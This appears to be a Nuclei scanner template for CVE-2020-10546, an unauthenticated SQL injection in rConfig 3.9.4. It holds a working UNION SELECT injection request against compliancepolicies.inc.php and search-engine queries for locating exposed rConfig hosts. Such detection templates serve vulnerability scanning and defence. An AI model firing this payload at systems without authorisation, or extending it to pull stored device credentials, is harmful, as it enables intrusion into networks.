rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
PoC代码[已公开]
id: CVE-2020-10546
info:
name: rConfig 3.9.4 - SQL Injection
author: madrobot
severity: critical
description: rConfig 3.9.4 and previous versions have unauthenticated compliancepolicies.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
remediation: |
Upgrade to the latest version of rConfig or apply the provided patch to fix the SQL Injection vulnerability.
reference:
- https://github.com/theguly/exploits/blob/master/CVE-2020-10546.py
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2020-10546
- https://github.com/theguly/exploits
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-10546
cwe-id: CWE-89
epss-score: 0.91387
epss-percentile: 0.9965
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rconfig
product: rconfig
shodan-query: http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve2020,cve,rconfig,sqli
http:
- method: GET
path:
- "{{BaseURL}}/compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "[project-discovery]"
- type: status
status:
- 200
# digest: 4b0a00483046022100a1ce457c3e174ace93c1e4e0824186ef60912a5446b92cdd036819cb2560a5c8022100d9b02f14ca6e75ade877ca445aea23df12dd93c104813cf41a8ddf951d2c1dae:922c64590222798bb761d5b6d8e72950